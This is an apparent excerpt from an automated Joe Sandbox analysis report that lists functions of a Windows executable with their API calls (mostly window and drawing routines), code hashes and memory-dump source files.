Opcode ID: d342dd993b14743115a3fd5b585c1b9f3fbe71fa4b67d691c2337009af302aef
Instruction ID: 7fd6ced02e8eaa0cecc2838c3063140f4a1bd415142055a66509d942ba4012ab
Opcode Fuzzy Hash: d342dd993b14743115a3fd5b585c1b9f3fbe71fa4b67d691c2337009af302aef
Instruction Fuzzy Hash: 5111B7716006089ADB309F658CC5AEE77ECEF10760F5084AAFA2DD61C1EBF0D984CB60

Function 00B11D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a326d63c9e4fe2d8f9377108fb59baeb392e02bd41a41b552c94c4fb1f94b7c
Instruction ID: 7fc4103f3601dd9cbee93b0e19b78f4aa1838eaaaf4801dd5ffa4a3532031db1
Opcode Fuzzy Hash: 8a326d63c9e4fe2d8f9377108fb59baeb392e02bd41a41b552c94c4fb1f94b7c
Instruction Fuzzy Hash: 0E01A2B22096167EF611267C7CC1FA7669CDF413B8BB007B9F635A12D2DF608C904170

Function 00AF990E Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,?), ref: 00AF98D6
SetBkMode.GDI32(?,00000001), ref: 00AF98E9
GetStockObject.GDI32(00000005), ref: 00AF98F1
GetWindowLongW.USER32(?,000000EB), ref: 00AF9952

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ColorLongModeObjectStockTextWindow
String ID:
API String ID: 2960364272-0
Opcode ID: 8a465e98ba6bb90febe9d157142afbba2389e2186238d3d7b38b301dc1c42326
Instruction ID: 053fcd7cb75da61e299a1d439fa6eeb0cce75b4392a2d5d736d25f05dc6421da
Opcode Fuzzy Hash: 8a465e98ba6bb90febe9d157142afbba2389e2186238d3d7b38b301dc1c42326
Instruction Fuzzy Hash: 8A116B312861809FCB128F60ECA5AFB3F64DF63350729015EF6829B272CA714941CB91

Function 00B41A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00B41A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B41A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B41A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B41A8A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 96d681eb85bb99572346519872826c46b62e001ddb34073cf47386150451c92a
Instruction ID: 6548304471912aff8a9f4e302861b2d4ae403cc7a6fa48f981c061a0a0eece22
Opcode Fuzzy Hash: 96d681eb85bb99572346519872826c46b62e001ddb34073cf47386150451c92a
Instruction Fuzzy Hash: C9112A3AD01219FFEB10DBA8C985FADBBB8EB04750F200495E614B7290D671AF50EB94

Function 00B4E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00B4E1FD
MessageBoxW.USER32(?,?,?,?), ref: 00B4E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00B4E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00B4E24D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 653a0ec87c9af8d99299d938901be8d900f555637ac8ebb7c210724f6b79e147
Instruction ID: 874215213a8720c0d6bac5d84e58f548b66ac0adc0c31e096e5298ba588e594f
Opcode Fuzzy Hash: 653a0ec87c9af8d99299d938901be8d900f555637ac8ebb7c210724f6b79e147
Instruction Fuzzy Hash: 9611C876904254BBD7019FAC9C05A9F7FECEB45360F444769F925E3291DAF0CE4487A0

Function 00B0D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00B0CFF9,00000000,00000004,00000000), ref: 00B0D218
GetLastError.KERNEL32 ref: 00B0D224
__dosmaperr.LIBCMT ref: 00B0D22B
ResumeThread.KERNEL32(00000000), ref: 00B0D249

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 33a005d04b7228a317ab934663169e275742165fe21221945ebfccfe0706814f
Instruction ID: efbc72664f289e870a2b17f17db9ff45e92d036d61a3f92433410cb1467f6579
Opcode Fuzzy Hash: 33a005d04b7228a317ab934663169e275742165fe21221945ebfccfe0706814f
Instruction Fuzzy Hash: 6901D236905204BBDB216BE5DC09BAE7EE9EF81730F1002ADF929A61D0DF708941C7A1

Function 00B79EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00AF9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00AF9BB2

GetClientRect.USER32(?,?), ref: 00B79F31
GetCursorPos.USER32(?), ref: 00B79F3B
ScreenToClient.USER32(?,?), ref: 00B79F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00B79F7A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: a10174f227230799727c78e19c6f54c53c1136efdbc9ae3cce837d6d47fd8f4c
Instruction ID: 61b41608e017a3e8e9c399e293ad7311499ddc80fe9dbb14f97d41719667a7d4
Opcode Fuzzy Hash: a10174f227230799727c78e19c6f54c53c1136efdbc9ae3cce837d6d47fd8f4c
Instruction Fuzzy Hash: CC115E3250051AABDB10DF58D885DFE7BF8FB05311F404499F926E7140D730BA81CBA1

Function 00AE600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00AE604C
GetStockObject.GDI32(00000011), ref: 00AE6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00AE606A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: df8cdcab3ef1c00555d649bd298508eae8abd7b19119445c453a9432c93c92fa
Instruction ID: 5fffa850e7a8c429d6cd7ed8ebb788762d5d18177ac03ec024252eebb6e5d0a9
Opcode Fuzzy Hash: df8cdcab3ef1c00555d649bd298508eae8abd7b19119445c453a9432c93c92fa
Instruction Fuzzy Hash: B6116D72501598BFEF125FA59C54EEABF79EF183A5F044219FA1852110DB32ECA0DBA0

Function 00B03B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00B03B56

Part of subcall function 00B03AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00B03AD2
Part of subcall function 00B03AA3: ___AdjustPointer.LIBCMT ref: 00B03AED

_UnwindNestedFrames.LIBCMT ref: 00B03B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00B03B7C
CallCatchBlock.LIBVCRUNTIME ref: 00B03BA4

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: 22243f0af493040baca727741bd8dc9e2cc6eddfad7b7e09eaa91edebaa93f16
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 76015772100148BBCF126E95CC46EEB3FEDEF88B58F044084FE0856161C732E9619BA0

Function 00B13073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00AE13C6,00000000,00000000,?,00B1301A,00AE13C6,00000000,00000000,00000000,?,00B1328B,00000006,FlsSetValue), ref: 00B130A5
GetLastError.KERNEL32(?,00B1301A,00AE13C6,00000000,00000000,00000000,?,00B1328B,00000006,FlsSetValue,00B82290,FlsSetValue,00000000,00000364,?,00B12E46), ref: 00B130B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00B1301A,00AE13C6,00000000,00000000,00000000,?,00B1328B,00000006,FlsSetValue,00B82290,FlsSetValue,00000000), ref: 00B130BF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: f660f84ae775827da4d41f6aeae00f180eb017c43fd432d114496a63c64f5806
Instruction ID: 1bf62c8a510d0880a949d4f8f4bfc30e1966e3b6e5f9f96078490b1e8d742f35
Opcode Fuzzy Hash: f660f84ae775827da4d41f6aeae00f180eb017c43fd432d114496a63c64f5806
Instruction Fuzzy Hash: 0B01D832301622ABC7214A799C88BA77BD8DF09F61B610678F909E7140EB21D981C7E0

Function 00B47464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00B4747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00B47497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00B474AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00B474CA

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 79d5ce14a8208fc8d4c3d8c8b4c9831a4960daefb0271c8090f9e2325e9511f7
Instruction ID: bfb442c30e0de16244722c02bc27a0dae7f765614a4f7a39e74128ce580b80b5
Opcode Fuzzy Hash: 79d5ce14a8208fc8d4c3d8c8b4c9831a4960daefb0271c8090f9e2325e9511f7
Instruction Fuzzy Hash: 741161B5245315ABE7208F54EC49FA27FFCEB00B04F1085ADA65AD7251DB70EA44EBA0

Function 00B4B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00B4ACD3,?,00008000), ref: 00B4B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B4ACD3,?,00008000), ref: 00B4B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00B4ACD3,?,00008000), ref: 00B4B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B4ACD3,?,00008000), ref: 00B4B126

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 6aa58aa9a988e9c7564d1c27c48ee5b57780efe25b6a1e474c901f2a863f8f39
Instruction ID: 63c9dcbc38b9647ff23ad425e16f2f524d53cc10016a8f82bb08532b3574aa26
Opcode Fuzzy Hash: 6aa58aa9a988e9c7564d1c27c48ee5b57780efe25b6a1e474c901f2a863f8f39
Instruction Fuzzy Hash: 60112731C01528E7CF04AFE4E999AEEBFB8FB09711F104099DA41B2281CB309650DB52

Function 00B77E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B77E33
ScreenToClient.USER32(?,?), ref: 00B77E4B
ScreenToClient.USER32(?,?), ref: 00B77E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B77E8A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 9ab3e92ad9faba35f8dc143836f6ba95ac132bd07ceefb2762ceb9d686c3a992
Instruction ID: cdd0cca24b9c27283629000a3a43e0ec8bd2b266cfcc50bcc7760979a9bffd08
Opcode Fuzzy Hash: 9ab3e92ad9faba35f8dc143836f6ba95ac132bd07ceefb2762ceb9d686c3a992
Instruction Fuzzy Hash: 7F1159B9D00209AFDB41DF98D4849EEBBF9FF08310F50905AE925E3210DB35AA54CF51

Function 00B42DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B42DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B42DD6
GetCurrentThreadId.KERNEL32 ref: 00B42DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00B42DE4

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 956fed83493787e8962b13c3d9be7baf7d2566dfcaeeae2d7d77aa890e5f4307
Instruction ID: a1abf2f2eb8259efdaa848fe139e147fe9fd2a73fb80c3f250778527e12e3756
Opcode Fuzzy Hash: 956fed83493787e8962b13c3d9be7baf7d2566dfcaeeae2d7d77aa890e5f4307
Instruction Fuzzy Hash: E7E0ED715016247AD7201B629C4DEEB7EACEB56BA1F90016DB50AE30909AA5C981E6B0

Function 00B78863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00AF9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00AF9693
Part of subcall function 00AF9639: SelectObject.GDI32(?,00000000), ref: 00AF96A2
Part of subcall function 00AF9639: BeginPath.GDI32(?), ref: 00AF96B9
Part of subcall function 00AF9639: SelectObject.GDI32(?,00000000), ref: 00AF96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00B78887
LineTo.GDI32(?,?,?), ref: 00B78894
EndPath.GDI32(?), ref: 00B788A4
StrokePath.GDI32(?), ref: 00B788B2

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: d23488dc8028b333bdffcca599a2e4e51521285d1d1b91d897b953b67995ce87
Instruction ID: 7b29faf20e4c0131b844ca71919d3a179fc10501165baa7d1d7fa3f2f8429c91
Opcode Fuzzy Hash: d23488dc8028b333bdffcca599a2e4e51521285d1d1b91d897b953b67995ce87
Instruction Fuzzy Hash: A3F03A36041258BBDB126F94AC0DFCA3E69AF06310F448148FA25660E2CBB55551CBE5

Function 00AF98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00AF98CC
SetTextColor.GDI32(?,?), ref: 00AF98D6
SetBkMode.GDI32(?,00000001), ref: 00AF98E9
GetStockObject.GDI32(00000005), ref: 00AF98F1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 8b1aae36da47c6ac6c1e3930dcd036d1e52ebc4ac7277a1c36aab67500ba97ee
Instruction ID: 68cc4b0f73c326c90146d02a4192062995c79897398e713b0927e1a0aee9572d
Opcode Fuzzy Hash: 8b1aae36da47c6ac6c1e3930dcd036d1e52ebc4ac7277a1c36aab67500ba97ee
Instruction Fuzzy Hash: 0AE06531244244ABDB215B74AC09BE93F50EB11335F14822DF6F9554E1CB7146809B10

Function 00B4162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00B41634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00B411D9), ref: 00B4163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00B411D9), ref: 00B41648
OpenProcessToken.ADVAPI32(00000000,?,?,?,00B411D9), ref: 00B4164F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 1d6a7a6a7383ce38066dcd8e1d9f2df63a00308182e87efa0da4e1aaf04f0c6b
Instruction ID: e6f123b3bacc6b8453f018715a48c41e6342e49a6436c7eaf11aae335f3e735a
Opcode Fuzzy Hash: 1d6a7a6a7383ce38066dcd8e1d9f2df63a00308182e87efa0da4e1aaf04f0c6b
Instruction Fuzzy Hash: 65E08631A01211DBD7201FA4AD0DB463FBCEF44791F15484CF249DA090DA3485C0C7A8

Function 00B3D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00B3D858
GetDC.USER32(00000000), ref: 00B3D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B3D882
ReleaseDC.USER32(?), ref: 00B3D8A3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 3d10bfece51638fcb780067948ac59e8442d35f98014f5a1e8279e528e9316f6
Instruction ID: 8938e49ccc57c8052c03fddee89f417a3ceb322fffd955973ad1cb52fd113c6e
Opcode Fuzzy Hash: 3d10bfece51638fcb780067948ac59e8442d35f98014f5a1e8279e528e9316f6
Instruction Fuzzy Hash: FCE09AB5800205DFCB41AFA1D94866DBFB6FB08311F24845DF95AE7250DB389981EF50

